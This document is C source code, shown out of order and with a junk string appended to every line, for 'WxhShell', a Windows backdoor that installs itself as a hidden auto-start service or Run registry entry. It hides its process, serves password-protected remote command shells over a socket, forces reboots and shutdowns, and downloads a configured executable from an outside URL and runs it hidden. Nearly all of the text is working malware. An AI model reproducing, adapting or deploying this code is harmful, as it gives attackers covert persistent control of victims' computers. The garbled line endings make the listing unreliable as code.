    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %}~Ncn_r  
    if(Boot(SHUTDOWN)) 0Ioa;XgOn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]\R%@FCYc  
    else { [k +fkr]  
    closesocket(wsh); *O-si%@]  
    ExitThread(0); Y6%O9b  
    } gJn_8\,C>Q  
    break; c;7ekj  
    } 9%uJ:c?  
  // 获取shell u-Ip*1/wp  
  case 's': { DCtrTX  
    CmdShell(wsh); 8J7<7Sx  
    closesocket(wsh); d 'wWj  
    ExitThread(0); T xwZ3E  
    break; s2+s1%^Ll  
  } H"g p  
  // 退出 ,e>N9\*  
  case 'x': { FU~:9EEx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0jwex  
    CloseIt(wsh); i%_nH"h  
    break;  Et0;1  
    }  #`2*V  
  // 离开 +l$BUX  
  case 'q': { ;,]Wtmu)7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6cOm8#  
    closesocket(wsh); ;i&'va$  
    WSACleanup(); Zz04Pz1  
    exit(1); Qjh @oWT  
    break; A[oxG;9xi  
        } *FUbKr0  
  } aV8]?E5G  
  } AUAJMS!m  
$'VFb=?XrK  
  // 提示信息 AA,n.;zy<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q|o~\h<  
} wN!5[N"  
  } !n/"39KT  
S-6 %mYf  
  return; :u53zX[v  
} )b AcU  
Hlq#X:DCn  
// shell模块句柄 &P{[22dQ  
int CmdShell(SOCKET sock) O}#h^AU-BS  
{ ] Vbv64M3  
STARTUPINFO si; F .JvMy3  
ZeroMemory(&si,sizeof(si)); O9W|&LAL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "h}miVArS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }%9A+w}o  
PROCESS_INFORMATION ProcessInfo; Lm}:`  
char cmdline[]="cmd"; Fn!kest  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WY%'ps _]<  
  return 0; =sW(2Im  
} e'zG=  
wg=ge]E5  
// 自身启动模式 M1T)e9k=x  
int StartFromService(void) 3 tp'}v  
{ T/&4lJ^2l^  
typedef struct {aWTT&-N  
{ h~ =UFE%'  
  DWORD ExitStatus; ]MP6VT  
  DWORD PebBaseAddress; @ zE>n  
  DWORD AffinityMask; x;Jy-hMNl  
  DWORD BasePriority; q~=]_PMP  
  ULONG UniqueProcessId; _ZfJfd~  
  ULONG InheritedFromUniqueProcessId; rBZ 0(XSZQ  
}   PROCESS_BASIC_INFORMATION; FHS6Mk26  
sc^TElic  
PROCNTQSIP NtQueryInformationProcess; n_51-^* z  
64>o3Hb2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &pD6Qq{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]?`t spm<t  
=q( ;g]e  
  HANDLE             hProcess; 5Vzi{y/bL  
  PROCESS_BASIC_INFORMATION pbi; =5jX#Dc5.+  
qffXm `k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (W| Eg  
  if(NULL == hInst ) return 0; w#5^A(NR  
S]3t{s#JW7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y#Ao6Od6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^U.8grA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y\ len  
bCF"4KXK  
  if (!NtQueryInformationProcess) return 0; [g:ZIl4p\P  
q]Cmaf(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bp`?inKBOd  
  if(!hProcess) return 0;  c6;tbL  
a 8Jn.!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +tNu8M@xFo  
>?q()>l  
  CloseHandle(hProcess); jLf.qf8qm  
k!K}<sX2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); shOQ/  
if(hProcess==NULL) return 0; d3# >\QCD9  
hSq3LoHV  
HMODULE hMod; sV+/JDl  
char procName[255]; !K#Q[Ee  
unsigned long cbNeeded; <8>gb!DG  
V&E)4KBOs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EC2KK)=n}  
AAE8j.  
  CloseHandle(hProcess); Tt.wY=,K  
?A /+DRQ(  
if(strstr(procName,"services")) return 1; // 以服务启动 wG4=[d  
QcGyuS.B  
  return 0; // 注册表启动 V_?5cwZ  
} :;S]jNy}j)  
$UAmUQg)}_  
// 主模块 e`fN+  
int StartWxhshell(LPSTR lpCmdLine) LoQm&3/  
{ #N?EPV$  
  SOCKET wsl; xZ} 1dq8  
BOOL val=TRUE; vl8Ums} +  
  int port=0; j^}p'w Tu{  
  struct sockaddr_in door; J)iy6{0"  
WhsTKy&E  
  if(wscfg.ws_autoins) Install(); Rw\ LVRdA  
q"@Y2lhD!  
port=atoi(lpCmdLine); E-_FxBw  
mYf7?I~  
if(port<=0) port=wscfg.ws_port; wIIxs_2Q0c  
C d)j %  
  WSADATA data; E=.4(J7K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w%&lCu@v  
_Kg:jal  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mr]IxTv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +(*S@V$c  
  door.sin_family = AF_INET; ;#G)([  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A>8uLO G}  
  door.sin_port = htons(port); .olDmFQD  
=#||&1U$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q<.84 7 )  
closesocket(wsl); b/:&iG;  
return 1; 8r7~ >p~  
} h\ema|  
5"=qVmT)  
  if(listen(wsl,2) == INVALID_SOCKET) { Z> jk\[  
closesocket(wsl); y-qbK0=X4  
return 1; 8|uFW7Q  
} ^T83E}  
  Wxhshell(wsl); ?r"'JO.w  
  WSACleanup(); T> cvV  
^fT|Wm<  
return 0; Ai&-W  
!%<bLD8  
} JyY-@GF  
TQyi -Dc  
// 以NT服务方式启动 g z-X4A"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V )CS,w  
{ SR@yG:~  
DWORD   status = 0; n$n)!XL/  
  DWORD   specificError = 0xfffffff; I^*&u,  
'`$z!rA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c=iv\hn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kGsd3t!'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hce *G@b  
  serviceStatus.dwWin32ExitCode     = 0; \M-}(>Pfk  
  serviceStatus.dwServiceSpecificExitCode = 0; ,"~#s(  
  serviceStatus.dwCheckPoint       = 0; OTs vox|(  
  serviceStatus.dwWaitHint       = 0; pBV_'A}ioh  
@Omgk=6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;v0M ::  
  if (hServiceStatusHandle==0) return; aV?dy4o$  
WZ @/'[  
status = GetLastError(); @~v |t{G  
  if (status!=NO_ERROR) jEwfa_Q%  
{ zi7,?bD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; al<[iZ  
    serviceStatus.dwCheckPoint       = 0; 6KuB<od  
    serviceStatus.dwWaitHint       = 0; 4<b=;8  
    serviceStatus.dwWin32ExitCode     = status; ,2\?kPoc8  
    serviceStatus.dwServiceSpecificExitCode = specificError; Te=[tx~x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e|)6zh<O:  
    return; >CtT_yhx  
  } C'mYR3?m;  
5}d"nx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?-mDvW  
  serviceStatus.dwCheckPoint       = 0; Enu/Nj 2  
  serviceStatus.dwWaitHint       = 0; #p@8m_g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $\BRX\6(-  
} kk_$j_0  
o";5@NH  
// 处理NT服务事件,比如:启动、停止 UruD&=AMK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) es}j6A1  
{ EHk(\1!V  
switch(fdwControl) cNX,%  
{ %c[Q_  
case SERVICE_CONTROL_STOP: j{00iA}  
  serviceStatus.dwWin32ExitCode = 0; P%`|Tu!B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w E^6DNh  
  serviceStatus.dwCheckPoint   = 0; tHlKo0S$0  
  serviceStatus.dwWaitHint     = 0; 4 [2^#t[  
  { R%)ZhG*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6[g~p< 8n}  
  } XRi/O)98o  
  return; X2>qx^jT  
case SERVICE_CONTROL_PAUSE: ?;1^8 c0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t?J Y@hT*  
  break; )c vA}U.z  
case SERVICE_CONTROL_CONTINUE: rv>K0= t0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )NG{iD{_]  
  break; %Z|]"=;6  
case SERVICE_CONTROL_INTERROGATE: nO{@p_3mi  
  break; Rv R ,V  
}; Sn 3@+9J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ KNdV  
} 29P vPR6  
-:92<G\D  
// 标准应用程序主函数 ;4DqtR"7Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6- H81y 3  
{ V\k?$}  
L`E^BuP/  
// 获取操作系统版本 d5?"GFy  
OsIsNt=GetOsVer(); ]^9B%t s9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fNz*E|]8&  
&^WJ:BvA|^  
  // 从命令行安装 @@$%+XNY  
  if(strpbrk(lpCmdLine,"iI")) Install(); |~Q`D dkX  
# 3{g6[Y  
  // 下载执行文件 >Xz P'h  
if(wscfg.ws_downexe) { +^!;J/24  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rG7S^,5o  
  WinExec(wscfg.ws_filenam,SW_HIDE); !Gwf"-TQ  
} O&=40"Dr  
> "G H Li  
if(!OsIsNt) { Wl3jbupu _  
// 如果时win9x,隐藏进程并且设置为注册表启动 ISo{>@a-  
HideProc(); 5X^bvW26  
StartWxhshell(lpCmdLine); Sb_T _m  
} nv WTx4oy  
else yP:/F|E$  
  if(StartFromService()) 7/*a  
  // 以服务方式启动 n7UZ&ab  
  StartServiceCtrlDispatcher(DispatchTable); 2I!STP{!l  
else `? ayc/TK  
  // 普通方式启动 8ut:cCrmg  
  StartWxhshell(lpCmdLine); b?&=gm%oU  
zPwU'TbF  
return 0; ['F,  
} G/tah@N[7  
rSTc4m1R  
3wRk -sl  
7ky$9+~  
=========================================== d~[^D<5,D  
*ml&}9  
J7. }2  
"zJGYBen  
>AcpJ|V  
F12tOSfu*  
" QInow2/u  
]s lYr8m  
#include <stdio.h> ~'/I[y4t  
#include <string.h> h'8w<n+%)  
#include <windows.h> 7Gb(&'n  
#include <winsock2.h> s(yVE  
#include <winsvc.h> 5gpqN)|)[  
#include <urlmon.h> yKR0]6ahA  
;9cBlthh  
#pragma comment (lib, "Ws2_32.lib") u*R9x3&/5  
#pragma comment (lib, "urlmon.lib") t(SSrM]  
;d17xu?ks  
#define MAX_USER   100 // 最大客户端连接数 6MC*2}W  
#define BUF_SOCK   200 // sock buffer ag6hhkj A  
#define KEY_BUFF   255 // 输入 buffer ~;/\l=Xl  
{.7ve<K  
#define REBOOT     0   // 重启 Ln;jB&t  
#define SHUTDOWN   1   // 关机 g*9jPwdG  
$"Oy }  
#define DEF_PORT   5000 // 监听端口 \R& 4Nu2F  
ns.[PJ"8  
#define REG_LEN     16   // 注册表键长度  )]2yTG[  
#define SVC_LEN     80   // NT服务名长度 s^_E'j$  
}`/wj  
// 从dll定义API )N QtjB$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [,_M@g3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :j/PtNT@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U:]b&I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *!De(lhEc  
*b" (r|Ko  
// wxhshell配置信息 WWF#&)ti  
struct WSCFG { S fE^'G\  
  int ws_port;         // 监听端口 W-Cf#o  
  char ws_passstr[REG_LEN]; // 口令 EXz5Rue LV  
  int ws_autoins;       // 安装标记, 1=yes 0=no I>b-w;cC  
  char ws_regname[REG_LEN]; // 注册表键名 qL^}t_>  
  char ws_svcname[REG_LEN]; // 服务名 W%]sI n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6p/gvpZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7lpd$Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x>Ah4a d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \K 01 F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g j`"|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dG{`Jk  
pk'@!|g%=  
}; w $7J)ngA9  
~Z5?\a2Ld  
// default Wxhshell configuration OT7F#:2`  
struct WSCFG wscfg={DEF_PORT, z`uqK!v(K  
    "xuhuanlingzhe", Hk-)fl#dr  
    1, hoASrj{s  
    "Wxhshell", _t:cDXj  
    "Wxhshell", o"^}2^)_SR  
            "WxhShell Service", qQR> z  
    "Wrsky Windows CmdShell Service", o a,Ju  
    "Please Input Your Password: ", 9d2#=IJm  
  1, maLJ M\C  
  "http://www.wrsky.com/wxhshell.exe", :V2j'R,  
  "Wxhshell.exe" <p(&8P  
    }; Pf oAg*  
D%LM"p  
// 消息定义模块 x+5Q}ux'G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0_bt*.w I+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6wzF6] @O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zTY|Z@:  
char *msg_ws_ext="\n\rExit."; ok X\z[X  
char *msg_ws_end="\n\rQuit."; x&R&\}@G m  
char *msg_ws_boot="\n\rReboot..."; !D%*s,t\'  
char *msg_ws_poff="\n\rShutdown..."; 2]NP7Ee8 Z  
char *msg_ws_down="\n\rSave to "; !)tXN=(1a  
-5\aL"?4  
char *msg_ws_err="\n\rErr!"; xiU-}H'o  
char *msg_ws_ok="\n\rOK!"; a<Pi J?  
9#%(%s 2 +  
char ExeFile[MAX_PATH]; H<`[,t  
int nUser = 0; *Rshzv[  
HANDLE handles[MAX_USER]; *MkhRLw\,  
int OsIsNt; :EyH'v  
pooi8" G  
SERVICE_STATUS       serviceStatus; :^kP?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <C6/R]x#  
ac.O#6&  
// 函数声明 \E.t=XBn  
int Install(void); e%G- +6  
int Uninstall(void); .]ZM2  
int DownloadFile(char *sURL, SOCKET wsh); {mL/)\  
int Boot(int flag); ORa!84L  
void HideProc(void); &F\J%#{  
int GetOsVer(void); 6f=/vRAh$  
int Wxhshell(SOCKET wsl); p'k stiB  
void TalkWithClient(void *cs); ~PvW+UMLk  
int CmdShell(SOCKET sock); ,@!8jar@w}  
int StartFromService(void);  wB5zp  
int StartWxhshell(LPSTR lpCmdLine); 7V0:^Jov  
K_`*ZV{r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w;QDQ fx0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $E|W|4N  
#`GW7(M  
// 数据结构和表定义 5 LX3.  
SERVICE_TABLE_ENTRY DispatchTable[] = z$G?J+?J  
{ UF<|1;'  
{wscfg.ws_svcname, NTServiceMain}, *ILS/`mdav  
{NULL, NULL} q30WUO;  
}; YH<F~F _  
C?rL>_+71  
// 自我安装 '*>LZo4  
int Install(void) Beqhe\{  
{ mkBQX  
  char svExeFile[MAX_PATH]; QC<( rx  
  HKEY key; h9+ylHW_cp  
  strcpy(svExeFile,ExeFile); .EloBP  
5?;'26iC  
// 如果是win9x系统,修改注册表设为自启动 +nuv?QB/  
if(!OsIsNt) { V-=$:J"J'\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5F2+o#*h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vkq?z~GA  
  RegCloseKey(key); /N%f78 Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uc Z(D|a   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *"fg@B5  
  RegCloseKey(key); .ET;wK  
  return 0; no?)GQ  
    } xOT'4v&.  
  } U_}$QW0'  
} CI{]o&Tf  
else { #C+Gk4"w  
phXVuQ  
// 如果是NT以上系统,安装为系统服务 T]^F%D%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oTI*mGR1Z  
if (schSCManager!=0) 'EZ[aY!);  
{ iqy}|xAU  
  SC_HANDLE schService = CreateService 8@h zw~>  
  ( K+v 250J$-  
  schSCManager, {+xUAmd  
  wscfg.ws_svcname, ,xD{A}}V  
  wscfg.ws_svcdisp, 1xguG7  
  SERVICE_ALL_ACCESS, )sV# b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T@yH. 4D  
  SERVICE_AUTO_START, ;g*X.d  
  SERVICE_ERROR_NORMAL, (X>y)V  
  svExeFile, @0 -B&w  
  NULL, j%p~.kW5  
  NULL, ]`. d%Vx  
  NULL, Z}NAH`V`:+  
  NULL, 'R,d?ikY  
  NULL # Jdip)  
  ); 5?O/Aub  
  if (schService!=0) Q`vyDoF  
  { ?>%u[g   
  CloseServiceHandle(schService); k5/nAaiVE  
  CloseServiceHandle(schSCManager); %+I(S`}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k2t?e:)3zr  
  strcat(svExeFile,wscfg.ws_svcname); w:Lu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _23sIUN c3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "~V}MPt  
  RegCloseKey(key); B4|`Z'U#;  
  return 0; HO@T2t[  
    } V)@MM2,  
  } 2#(7,o}Y5  
  CloseServiceHandle(schSCManager); B8_l+dXO  
} ;~1r{kXxA"  
} ]UgA z  
~JZ Lfw  
return 1; /yykOvUO  
} '|d (<.[  
N!h>fE`  
// 自我卸载 N"T8 Pt  
int Uninstall(void) Q?"[zX1  
{ O]Kb~jkd  
  HKEY key; }TF<C !]  
6U&Uyd)  
if(!OsIsNt) { 25ayYO%PTc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cw5YjQ8 9  
  RegDeleteValue(key,wscfg.ws_regname); jSG jv>  
  RegCloseKey(key); :%>8\q>UX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M`>W'<  
  RegDeleteValue(key,wscfg.ws_regname); M:I,j  
  RegCloseKey(key); @wFm])}0  
  return 0; Cfi2N V  
  } z9'0&G L  
} 9~; Ju^b  
} jSVO$AW~C  
else { ?s?uoZ /2  
QE#$bCw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J<BdIKCma  
if (schSCManager!=0) \ yOZ&qU  
{ 4O`h%`M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mCE})S  
  if (schService!=0) Dq?2mXOqD  
  { 7q^/.:wlf  
  if(DeleteService(schService)!=0) { Z~c7r n  
  CloseServiceHandle(schService); ^=W&p%Y(!  
  CloseServiceHandle(schSCManager); TdE_\gEo/R  
  return 0; =#V11j  
  } Z|/):nVP7  
  CloseServiceHandle(schService); F4&N;Zm2  
  } SW; b E  
  CloseServiceHandle(schSCManager); ]rNfr-  
} +[qkG. O  
} L_.}z)S[\  
K%gFD?{^q  
return 1; b>7ts_b  
} ZF t^q /pw  
<=-\so(  
// 从指定url下载文件 J6%op{7/  
int DownloadFile(char *sURL, SOCKET wsh) i4pJIb  
{ 0K2[E^.WN  
  HRESULT hr; -24.[E/5  
char seps[]= "/"; &q< 8tTW5  
char *token; t<k8.9 M$  
char *file; |{ [i M  
char myURL[MAX_PATH]; Ck:J  
char myFILE[MAX_PATH]; FO5SXwx  
5`uS<[vA  
strcpy(myURL,sURL); :3t])mL#   
  token=strtok(myURL,seps); h0eo:Ahi  
  while(token!=NULL) m2! 7M%]GC  
  { z K(5&u  
    file=token; "EHc&,B`  
  token=strtok(NULL,seps); kb:C>Y8!sC  
  } bn`zI~WS  
U .Od  
GetCurrentDirectory(MAX_PATH,myFILE); bGJUu#  
strcat(myFILE, "\\"); 5QSmim  
strcat(myFILE, file); :kVV.a#g  
  send(wsh,myFILE,strlen(myFILE),0); nGbrWu]w  
send(wsh,"...",3,0); sy?>e*-{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !kcg#+s91  
  if(hr==S_OK) .'a|St  
return 0; FSmi.7  
else @Y,F&8a$  
return 1; uqUo4z5T  
Z:v1?v  
} ,$]q2aL  
N93E;B  
// 系统电源模块 _tk5?9Ykn  
int Boot(int flag) oB\Xl)A<  
{ nAg(lNOWN  
  HANDLE hToken; zoJ;5a.3B  
  TOKEN_PRIVILEGES tkp; K;qZc\q  
PWMaB  
  if(OsIsNt) { zEB1Br,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }j?S?=;m=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zvf]}mNx  
    tkp.PrivilegeCount = 1; ;Wa{q.)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E5(Y*m!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \zi3.;9|;  
if(flag==REBOOT) { ^ ?=K)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zK 2wLX  
  return 0; UW*aSZ/?  
} O0~d6Ba   
else { bIArAS9%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8w&rj-  
  return 0; lnDDFsA  
} =5ih,>>g  
  } 4I-p/&Q  
  else { //Gvk|O1  
if(flag==REBOOT) { 5u46Vl{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qX(%Wn;n  
  return 0; o x^lI  
} L0kNt &di  
else { NXBOo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0 MIMs#  
  return 0; gDub+^ye>/  
} -W_s]oBg  
} BFO Fes`>~  
Oez}C,0  
return 1; .m?~TOR  
} tA-B3 ]  
#Qr4Ke$g[l  
// win9x进程隐藏模块 JP4Moq~r   
void HideProc(void) pQ 6#L  
{ f~FehN7  
U!/nD~A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b8.%?_?  
  if ( hKernel != NULL ) FIjET1{  
  { #mhD; .Wg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Qs9U&*L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rk/ c  
    FreeLibrary(hKernel); X u):.0I  
  } dz|*n'd  
pq3  A%|  
return; i)L:VkN  
} pRvs;klf  
;8i L,^.A  
// 获取操作系统版本 ~ n^G<iXLp  
int GetOsVer(void) 0f%:OU5Y  
{ R2aK5~   
  OSVERSIONINFO winfo; Sx)Il~ x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {z/^X<T  
  GetVersionEx(&winfo); 9.zQ<k2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &H&P)Px*_  
  return 1; !>< %\K  
  else <aaDW  
  return 0; mRH]'d lD7  
} WKl'  
kqW<e[  
// 客户端句柄模块 0;v~5|r  
int Wxhshell(SOCKET wsl) 5 ek %d  
{ Sz|CreFK16  
  SOCKET wsh; +.]}f}Y  
  struct sockaddr_in client; uq4s bkP  
  DWORD myID; SrtVoe[  
qW~ R-g]  
  while(nUser<MAX_USER) $p3Wjf:bH  
{ 5u_4lNJ&  
  int nSize=sizeof(client); Gd-.E7CH!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [4Faq3T"  
  if(wsh==INVALID_SOCKET) return 1; ^D;D8A.  
 6b]d|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h ^h-pd  
if(handles[nUser]==0) GR ?u?-  
  closesocket(wsh); d^5SeCs6  
else '[ g)v  
  nUser++; 8I\eromG  
  } $U1kP?pR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P5}[*k%DQw  
< }wAP_y  
  return 0; n [Xzo}  
} \678Nx  
e( o/we{  
// 关闭 socket R96o8#7Uv  
void CloseIt(SOCKET wsh) IR dz(~CP  
{ @B'8SLoP  
closesocket(wsh); bsi q9$F  
nUser--; @'r`(o3z!Z  
ExitThread(0); GoSWH2N  
} L%K_.!d^  
bepYeT  
// 客户端请求句柄 [k~+(.2I  
void TalkWithClient(void *cs) ]Ec[")"kT  
{ I0HY#z%  
*_<*bhR<  
  SOCKET wsh=(SOCKET)cs; gn W~KLqH  
  char pwd[SVC_LEN]; >?9 WeXG  
  char cmd[KEY_BUFF]; q 9brpbg_  
char chr[1]; mu6xL QdA  
int i,j; 2Z`$  
U aj`  
  while (nUser < MAX_USER) { 2]NAs9aZ  
gLaO#cQ%  
if(wscfg.ws_passstr) { \8*,&ak%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,AbKxT f2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :@>br+S  
  //ZeroMemory(pwd,KEY_BUFF); D d# SUQ  
      i=0; SZ2q}[o`R  
  while(i<SVC_LEN) { } C{}oLz  
Q)6wkY+!  
  // 设置超时 }1]!#yMfq  
  fd_set FdRead; \ ~LU 'j  
  struct timeval TimeOut; Iq0 #A5U%  
  FD_ZERO(&FdRead); 9{%g-u \  
  FD_SET(wsh,&FdRead); L.0} UXd  
  TimeOut.tv_sec=8; :Q r7:$S^  
  TimeOut.tv_usec=0; P"=UI$HN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bN4&\d*u#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KBr5bcm4u  
Wt+y-ES  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cUZ!;*  
  pwd=chr[0]; 2rj/wakd  
  if(chr[0]==0xd || chr[0]==0xa) { R )d99j^"  
  pwd=0; _.OMjUBZT  
  break; ~f=6?5.wa  
  } dx13vZ3[U  
  i++; XW~ BEa  
    } tT* W5  
g2aT`=&Z  
  // 如果是非法用户,关闭 socket n.a=K2H:V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nrS[7~  
} LN.Bd,  
(]}x[F9l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cPx ~|,)l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \ L9?69B~  
V8nz-DL{  
while(1) { g^z5fFLg/8  
:n+y/6 *  
  ZeroMemory(cmd,KEY_BUFF); B15O,sL&W  
@7Rt4}g  
      // 自动支持客户端 telnet标准   vz yNc'  
  j=0; FI`nRFq)C  
  while(j<KEY_BUFF) { (pE\nuA\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7TV>6i+7  
  cmd[j]=chr[0]; v#:+n+y\z  
  if(chr[0]==0xa || chr[0]==0xd) { Uin k  
  cmd[j]=0; W>?f^C!+m  
  break; hB P$9GR  
  } C`2*2Y%xkG  
  j++; IYfV~+P  
    } ez^*M:K  
+ 9\:$wMN  
  // 下载文件 8Fd1;G6  
  if(strstr(cmd,"http://")) { uv|eVT3jNs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "$~}'`(]  
  if(DownloadFile(cmd,wsh)) W( &Go'9e"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o\@ A2r3  
  else agU%z:M{  
